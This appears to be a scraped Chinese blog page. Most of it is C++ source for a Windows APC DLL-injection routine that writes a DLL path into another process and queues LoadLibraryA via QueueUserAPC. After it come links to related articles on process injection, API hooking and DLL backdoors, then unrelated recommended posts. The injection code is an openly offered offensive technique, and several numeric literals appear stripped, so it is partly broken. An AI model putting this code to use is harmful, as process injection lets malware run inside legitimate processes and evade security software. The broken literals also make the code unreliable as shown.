#include <iostream>
#include <Windows.h>
#include <TlHelp32.h> using namespace std; /*
APC注入条件:
目标线程处于可唤醒状态
如使用以下API时就处于可唤醒状态
SleepEx, SignalObjectAndWait, WaitForSingleObjectEx, WaitForMultipleObjectsEx,MsgWaitForMultipleObjectsEx
参数dwPid默认为0,表示自动创建目标进程并立刻生效注入,否则,注入现有目标,等待目标唤醒时执行APC回调
*/
BOOL APCInject(char *dllUrl,DWORD dwPid=,char *exeUrl=NULL); int main(void)
{ cout << APCInject("c:\\desktop\\test.dll",) << endl;
return ;
} BOOL APCInject(char *dllUrl,DWORD dwPid,char *exeUrl)
{
HANDLE hSnap=NULL,hPro=NULL,hThr=NULL;
BOOL bOk = FALSE;
LPVOID hVir = NULL;
THREADENTRY32 te = {}; if (!dwPid)
{
STARTUPINFO wi = {};
PROCESS_INFORMATION pi = {}; wi.cb = sizeof(wi);
CreateProcessA("c:\\desktop\\123.exe",NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&wi,&pi);
hPro = pi.hProcess;
hThr = pi.hThread;
} else {
te.dwSize = sizeof(te);
hPro = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);
if (!hPro)
return FALSE;
hSnap = CreateToolhelp32Snapshot(,dwPid);
bOk = Thread32First(hSnap,&te);
while (bOk)
{
if (te.th32OwnerProcessID == dwPid)
{
hThr = OpenThread(THREAD_ALL_ACCESS,FALSE,te.th32ThreadID);
break;
} bOk = Thread32Next(hSnap,&te);
}
CloseHandle(hSnap);
} if (!hThr)
return FALSE;
hVir = VirtualAllocEx(hPro,NULL,strlen(dllUrl)+,MEM_COMMIT,PAGE_READWRITE);
if (!hVir)
return FALSE;
if (!WriteProcessMemory(hPro,hVir,dllUrl,strlen(dllUrl)+,NULL))
return FALSE;
CloseHandle(hPro);
if (QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"),hThr,(DWORD)hVir))
{
if (!dwPid)
{
ResumeThread(hThr);
CloseHandle(hThr);
}
return TRUE;
}
CloseHandle(hThr);
return FALSE;
}

APCInject的更多相关文章

  1. 安全之路 —— 利用APC队列实现跨进程注入

    简介 在之前的文章中笔者曾经为大家介绍过使用CreateRemoteThread函数来实现远程线程注入(链接),毫无疑问最经典的注入方式,但也因为如此,这种方式到今天已经几乎被所有安全软件所防御.所以 ...

  2. Windows Dll Injection、Process Injection、API Hook、DLL后门/恶意程序入侵技术

    catalogue 1. 引言2. 使用注册表注入DLL3. 使用Windows挂钩来注入DLL4. 使用远程线程来注入DLL5. 使用木马DLL来注入DLL6. 把DLL作为调试器来注入7. 使用c ...

  3. 注入 - Ring3 APC注入

    系统产生一个软中断,当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数,利用QueueUserAPC()这个API,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的, 1.根据进 ...

  4. Inject-APC (Ring3)

    1 // APCInject.cpp : 定义控制台应用程序的入口点. 2 // 3 4 #include "stdafx.h" 5 #include "APCInjec ...

随机推荐

  1. Mediator模式(仲裁者设计模式)

    Mediator ? Mediator的意思是"仲裁者""中介者".一方面,当发生麻烦事情的时候,通知仲裁者:当发生涉及全体组员的事情时,也通知仲裁者.当仲裁者 ...

  2. List<Object> 使用Linq

    List<Asset> bdList = allAsset.Where(m => m.Owner.Depts == view.DeptName).ToList(); var quer ...

  3. ERROR: Unable to globalize '/usr/local/NONE/etc/php-fpm.d/*.conf' (ret = 2) from /usr/local/etc/php-fpm.conf at line WARNING: Nothing matches the include pattern '/usr/local/php7/etc/php-fpm.d/*.conf'

    Building from source is not easy if something is a bit different, and I had a hard time with some di ...

  4. chapter05

    /** * Created by EX-CHENZECHAO001 on 2018-03-29. */class Chapter05 { } // 类// 类中的字段自动带有getter方法和sett ...

  5. mitmproxy——抓取http、https

    mitmproxy是一个支持HTTP和HTTPS的抓包程序,有类似Fiddler.Charles的功能.除了命令行形式的控制台,mitmproxy还有两个关联组件:mitmdump和mitmweb. ...

  6. RMAN restore fails with ORA-01180: can not create datafile 1 (文档 ID 1265151.1)

    http://blog.itpub.net/26655292/viewspace-2131269/ ########Q&A issue1:ORA-01180: can not create d ...

  7. 关于String的split方法

    在做剑指offer的时候,有一道替换空格的题,立刻就想到用这个split方法来做,但发现,这个方法会丢掉字符串最后的空格??? 百度后,知道原因,这里直接复制粘贴了: 在使用java中的split按照 ...

  8. D. Beautiful numbers

    题目链接:http://codeforces.com/problemset/problem/55/D D. Beautiful numbers time limit per test 4 second ...

  9. arch安装软件提示包损坏

    错误:lib32-libjpeg6-turbo: signature from "Colin Keenan <colinnkeenan@gmail.com>" is u ...

  10. Hibernate的工作流程以及三种状态(面试题)

    Hibernate的工作流程以及三种状态 部分转载自:http://www.cnblogs.com/fifiyong/p/6390699.html Hibernate的工作流程: 1. 读取并解析配置 ...